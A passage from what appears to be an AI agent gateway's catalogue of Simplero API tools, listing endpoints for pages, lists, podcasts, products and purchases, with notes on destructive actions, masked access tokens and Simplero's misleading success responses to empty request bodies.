(measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/send_to. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_star (write) — Star (library mailings) via POST /api/v2/library_mailings/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/star. Scopes: api. simplero_post_api_v2_library_mailings_by_id_actions_unstar (write) — Unstar (library mailings) via POST /api/v2/library_mailings/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/library_mailings/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_lists (write) — Create a list via POST /api/v2/lists. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/lists. Scopes: api. simplero_post_api_v2_lists_by_id_actions_add_labels (write) — Add labels (lists) via POST /api/v2/lists/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/lists/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_lists_by_id_actions_duplicate (write) — Duplicate (lists) via POST /api/v2/lists/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/lists/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_lists_by_id_actions_remove_label (write) — Remove label (lists) via POST /api/v2/lists/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/lists/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_lists_by_id_actions_resurrect (write) — Resurrect (lists) via POST /api/v2/lists/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/lists/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_lists_by_id_actions_star (write) — Star (lists) via POST /api/v2/lists/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/lists/{id}/actions/star. Scopes: api. simplero_post_api_v2_lists_by_id_actions_unstar (write) — Unstar (lists) via POST /api/v2/lists/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/lists/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_nav_list_links (write) — Create a link via POST /api/v2/nav_list_links. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/nav_list_links. Scopes: api. simplero_post_api_v2_pages (write) — Create a page via POST /api/v2/pages. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/pages. Scopes: api. simplero_post_api_v2_pages_by_id_actions_add_labels (write) — Add labels (pages) via POST /api/v2/pages/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_pages_by_id_actions_add_to_main_nav (write) — Add to main nav via POST /api/v2/pages/{id}/actions/add_to_main_nav. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/add_to_main_nav. Scopes: api. simplero_post_api_v2_pages_by_id_actions_clone_to_site (write) — Clone to another site via POST /api/v2/pages/{id}/actions/clone_to_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/clone_to_site. Scopes: api. simplero_post_api_v2_pages_by_id_actions_convert_to_landing_page (write) — Turn into a Landing Page via POST /api/v2/pages/{id}/actions/convert_to_landing_page. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/convert_to_landing_page. Scopes: api. simplero_post_api_v2_pages_by_id_actions_create_funnel_from (write) — Turn into a Funnel via POST /api/v2/pages/{id}/actions/create_funnel_from. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/create_funnel_from. Scopes: api. simplero_post_api_v2_pages_by_id_actions_drip (write) — Drip (pages) via POST /api/v2/pages/{id}/actions/drip. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/drip. Scopes: api. simplero_post_api_v2_pages_by_id_actions_duplicate (write) — Duplicate (pages) via POST /api/v2/pages/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_pages_by_id_actions_hide_from_ai_bots (write) — Hide from AI crawlers via POST /api/v2/pages/{id}/actions/hide_from_ai_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/hide_from_ai_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_hide_from_bots (write) — Hide from search engines via POST /api/v2/pages/{id}/actions/hide_from_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/hide_from_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_hide_from_site_search (write) — Hide from site search via POST /api/v2/pages/{id}/actions/hide_from_site_search. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/hide_from_site_search. Scopes: api. simplero_post_api_v2_pages_by_id_actions_make_home_page (write) — Make this page the site home page via POST /api/v2/pages/{id}/actions/make_home_page. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/make_home_page. Scopes: api. simplero_post_api_v2_pages_by_id_actions_move_to_funnel (write) — Move to funnel (pages) via POST /api/v2/pages/{id}/actions/move_to_funnel. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/move_to_funnel. Scopes: api. simplero_post_api_v2_pages_by_id_actions_move_to_site (write) — Move to another site via POST /api/v2/pages/{id}/actions/move_to_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/move_to_site. Scopes: api. simplero_post_api_v2_pages_by_id_actions_publish (write) — Publish (pages) via POST /api/v2/pages/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/publish. Scopes: api. simplero_post_api_v2_pages_by_id_actions_refresh_page_speed_score (write) — Refresh page speed score (pages) via POST /api/v2/pages/{id}/actions/refresh_page_speed_score. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/refresh_page_speed_score. Scopes: api. simplero_post_api_v2_pages_by_id_actions_remove_label (write) — Remove label (pages) via POST /api/v2/pages/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_pages_by_id_actions_replace_with_redirect (write, destructive) — Replace with redirect via POST /api/v2/pages/{id}/actions/replace_with_redirect. Answers {"data": {...}}. DESTRUCTIVE: Replace with redirect -- the page stops serving its content. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pages/{id}/actions/replace_with_redirect. Scopes: api. simplero_post_api_v2_pages_by_id_actions_reset_view_counters (write, destructive) — Reset view counters via POST /api/v2/pages/{id}/actions/reset_view_counters. Answers {"data": {...}}. DESTRUCTIVE: Reset view counters -- the counts are not recoverable. POST /api/v1/simplero/api/v2/pages/{id}/actions/reset_view_counters. Scopes: api. simplero_post_api_v2_pages_by_id_actions_resurrect (write) — Resurrect (pages) via POST /api/v2/pages/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_pages_by_id_actions_save_as_template (write) — Save as template (pages) via POST /api/v2/pages/{id}/actions/save_as_template. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/save_as_template. Scopes: api. simplero_post_api_v2_pages_by_id_actions_start_split_testing (write) — Start split test (pages) via POST /api/v2/pages/{id}/actions/start_split_testing. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/start_split_testing. Scopes: api. simplero_post_api_v2_pages_by_id_actions_toggle_ai_bots (write) — Toggle AI crawler visibility via POST /api/v2/pages/{id}/actions/toggle_ai_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/toggle_ai_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_toggle_bots (write) — Toggle search engine visibility via POST /api/v2/pages/{id}/actions/toggle_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/toggle_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_toggle_site_search (write) — Toggle site search visibility via POST /api/v2/pages/{id}/actions/toggle_site_search. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/toggle_site_search. Scopes: api. simplero_post_api_v2_pages_by_id_actions_undo_move (write) — Undo move to site page via POST /api/v2/pages/{id}/actions/undo_move. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/undo_move. Scopes: api. simplero_post_api_v2_pages_by_id_actions_unhide_from_ai_bots (write) — Unhide from AI crawlers via POST /api/v2/pages/{id}/actions/unhide_from_ai_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/unhide_from_ai_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_unhide_from_bots (write) — Unhide from search engines via POST /api/v2/pages/{id}/actions/unhide_from_bots. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/unhide_from_bots. Scopes: api. simplero_post_api_v2_pages_by_id_actions_unhide_from_site_search (write) — Include in site search via POST /api/v2/pages/{id}/actions/unhide_from_site_search. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/unhide_from_site_search. Scopes: api. simplero_post_api_v2_pages_by_id_actions_unpublish (write) — Unpublish (pages) via POST /api/v2/pages/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_discard_unpublished_changes (write, destructive) — Discard unpublished builder doc changes (pages) via POST /api/v2/pages/{id}/builder/content/discard_unpublished_changes. Throws away the working draft and reconnects working to the currently published version. This is the operation that repairs a disconnected working lineage so publish can succeed. No-op-success when working is already the published version. Errors when the doc has never been published. Answers {"data": {...}}. DESTRUCTIVE: Discard unpublished builder doc changes -- the working version's edits are gone. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/discard_unpublished_changes. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_html_section (write) — Create or update HTML section content (pages) via POST /api/v2/pages/{id}/builder/content/html_section. Create or update the HTML content of an html_section node. `node_id` is required. Pass either: * The id of an existing `html_section` node — updates its HTML. * The literal string `"create_new"` — creates a new `html_section` node under the root with the given `html`. Pass `publish_changes: true` to publish the working version immediately after the change. Embedding structured builder nodes inside the HTML: You can embed dynamic Simplero elements (order forms, opt-in forms, buttons, input fields, etc.) inside the HTML. See the description of the html_section embed endpoint (POST builder/content/html_section/embed) for how this works. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/html_section. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_html_section_embed (write) — Generate embed markup for a node type (pages) via POST /api/v2/pages/{id}/builder/content/html_section/embed. Returns a <builder-node> custom element markup string that you can paste into the html of an html_section to embed a structured builder node (e.g. an order form, input field, button, signup form, etc.) inside free-form HTML. How to use: 1. Use the node_types endpoints for this builder role to find the `type` of the node you want to embed and its available settings. 2. POST here with that `type` and any `settings` you want baked in. The response contains `embed_html` — a self-contained <builder-node ...></builder-node> snippet. 3. Paste that `embed_html` string verbatim into the `html` you send to the html_section update endpoint (POST builder/content/html_section). At runtime it will be replaced with the rendered node. Typical flow: build the bulk of your page as HTML via the html_section update endpoint, and sprinkle in these <builder-node> embeds wherever you need a dynamic Simplero element (order form, opt-in form, buy button, etc.) that you can't express as plain HTML. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/html_section/embed. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_nodes (write) — Create a builder doc node (pages) via POST /api/v2/pages/{id}/builder/content/nodes. Adds a new node to the tree under the given parent. Pass publish_changes: true to publish the working version immediately. Note: creating an `html_section` node here is allowed but you MUST NOT pass any `settings` — to set its HTML content, create it first and then use the html_section update endpoint (POST builder/content/html_section). Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/nodes. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_publish (write) — Publish the working version (pages) via POST /api/v2/pages/{id}/builder/content/publish. Publishes the current working version of this record's builder doc, making staged changes live. Fails when the working draft is disconnected from the published version — POST builder/content/discard_unpublished_changes first. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/publish. Scopes: api. simplero_post_api_v2_pages_by_id_builder_content_versions_by_version_id_restore (write) — Restore a builder doc version (pages) via POST /api/v2/pages/{id}/builder/content/versions/{version_id}/restore. Creates a new working draft whose content matches the given version. Does not publish. The restored snapshot is always a new version on top of the current working version (same as Restore this version in the editor). To throw away a disconnected draft and go back to published, use discard_unpublished_changes instead. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pages/{id}/builder/content/versions/{version_id}/restore. Scopes: api. simplero_post_api_v2_pipeline_stages (write) — Create a pipeline stage via POST /api/v2/pipeline_stages. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pipeline_stages. Scopes: api. simplero_post_api_v2_pipelines (write) — Create a pipeline via POST /api/v2/pipelines. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pipelines. Scopes: api. simplero_post_api_v2_pipelines_by_id_actions_add_labels (write) — Add labels (pipelines) via POST /api/v2/pipelines/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pipelines/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_pipelines_by_id_actions_remove_label (write) — Remove label (pipelines) via POST /api/v2/pipelines/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/pipelines/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_pipelines_by_id_actions_set_default (write) — Set default via POST /api/v2/pipelines/{id}/actions/set_default. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pipelines/{id}/actions/set_default. Scopes: api. simplero_post_api_v2_pipelines_by_id_actions_star (write) — Star (pipelines) via POST /api/v2/pipelines/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pipelines/{id}/actions/star. Scopes: api. simplero_post_api_v2_pipelines_by_id_actions_unstar (write) — Unstar (pipelines) via POST /api/v2/pipelines/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/pipelines/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_podcast_episodes (write) — Create a episode via POST /api/v2/podcast_episodes. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/podcast_episodes. Scopes: api. simplero_post_api_v2_podcast_episodes_by_id_actions_publish (write) — Publish (podcast episodes) via POST /api/v2/podcast_episodes/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/podcast_episodes/{id}/actions/publish. Scopes: api. simplero_post_api_v2_podcast_episodes_by_id_actions_resurrect (write) — Resurrect (podcast episodes) via POST /api/v2/podcast_episodes/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/podcast_episodes/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_podcast_episodes_by_id_actions_unpublish (write) — Unpublish (podcast episodes) via POST /api/v2/podcast_episodes/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/podcast_episodes/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_podcasts (write) — Create a podcast via POST /api/v2/podcasts. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/podcasts. Scopes: api. simplero_post_api_v2_podcasts_by_id_actions_add_labels (write) — Add labels (podcasts) via POST /api/v2/podcasts/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/podcasts/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_podcasts_by_id_actions_remove_label (write) — Remove label (podcasts) via POST /api/v2/podcasts/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/podcasts/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_podcasts_by_id_actions_resurrect (write) — Resurrect (podcasts) via POST /api/v2/podcasts/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/podcasts/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_price_periods (write) — Create a price period via POST /api/v2/price_periods. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/price_periods. Scopes: api. simplero_post_api_v2_prices (write) — Create a price via POST /api/v2/prices. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/prices. Scopes: api. simplero_post_api_v2_product_variants (write) — Create a variant via POST /api/v2/product_variants. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/product_variants. Scopes: api. simplero_post_api_v2_products (write) — Create a product via POST /api/v2/products. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/products. Scopes: api. simplero_post_api_v2_products_by_id_actions_add_facet_values (write) — Add facet values (products) via POST /api/v2/products/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/products/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_products_by_id_actions_add_labels (write) — Add labels (products) via POST /api/v2/products/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/products/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_products_by_id_actions_close (write) — Close via POST /api/v2/products/{id}/actions/close. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/close. Scopes: api. simplero_post_api_v2_products_by_id_actions_duplicate (write) — Duplicate (products) via POST /api/v2/products/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_products_by_id_actions_list (write) — List via POST /api/v2/products/{id}/actions/list. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/list. Scopes: api. simplero_post_api_v2_products_by_id_actions_remove_facet_values (write) — Remove facet values (products) via POST /api/v2/products/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/products/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_products_by_id_actions_remove_label (write) — Remove label (products) via POST /api/v2/products/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/products/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_products_by_id_actions_resurrect (write) — Resurrect (products) via POST /api/v2/products/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_products_by_id_actions_star (write) — Star (products) via POST /api/v2/products/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/star. Scopes: api. simplero_post_api_v2_products_by_id_actions_unlist (write) — Unlist via POST /api/v2/products/{id}/actions/unlist. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/unlist. Scopes: api. simplero_post_api_v2_products_by_id_actions_unstar (write) — Unstar (products) via POST /api/v2/products/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/products/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_cancel (write, destructive) — Cancel via POST /api/v2/purchases/{id}/actions/cancel. Answers {"data": {...}}. DESTRUCTIVE: Cancel -- cancels the purchase. POST /api/v1/simplero/api/v2/purchases/{id}/actions/cancel. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_capture (write) — Capture via POST /api/v2/purchases/{id}/actions/capture. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/capture. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_change_tax_percent (write) — Change tax percent via POST /api/v2/purchases/{id}/actions/change_tax_percent. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/change_tax_percent. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_disassociate_from_funnel (write) — Disassociate from funnel (purchases) via POST /api/v2/purchases/{id}/actions/disassociate_from_funnel. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/disassociate_from_funnel. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_move_to_product (write) — Move to another product via POST /api/v2/purchases/{id}/actions/move_to_product. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/move_to_product. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_pause (write) — Pause (purchases) via POST /api/v2/purchases/{id}/actions/pause. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/pause. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_postpone_period_ends_at_by (write) — Postpone period ends at by via POST /api/v2/purchases/{id}/actions/postpone_period_ends_at_by. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/postpone_period_ends_at_by. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_postpone_upcoming_charges_by (write) — Postpone upcoming charges by via POST /api/v2/purchases/{id}/actions/postpone_upcoming_charges_by. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/postpone_upcoming_charges_by. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_refund (write, destructive) — Refund via POST /api/v2/purchases/{id}/actions/refund. Answers {"data": {...}}. DESTRUCTIVE: Refund -- moves money back and cannot be undone through the API. DESTRUCTIVE: refunds real money to the customer's payment method. There is no un-refund endpoint. POST /api/v1/simplero/api/v2/purchases/{id}/actions/refund. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_resume (write) — Resume (purchases) via POST /api/v2/purchases/{id}/actions/resume. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/resume. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_set_auto_responder_start_at (write) — Set auto responder start at (purchases) via POST /api/v2/purchases/{id}/actions/set_auto_responder_start_at. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/purchases/{id}/actions/set_auto_responder_start_at. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_turn_off_auto_renew (write) — Turn off auto renew via POST /api/v2/purchases/{id}/actions/turn_off_auto_renew. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/purchases/{id}/actions/turn_off_auto_renew. Scopes: api. simplero_post_api_v2_purchases_by_id_actions_turn_on_auto_renew (write) — Turn on auto renew via POST 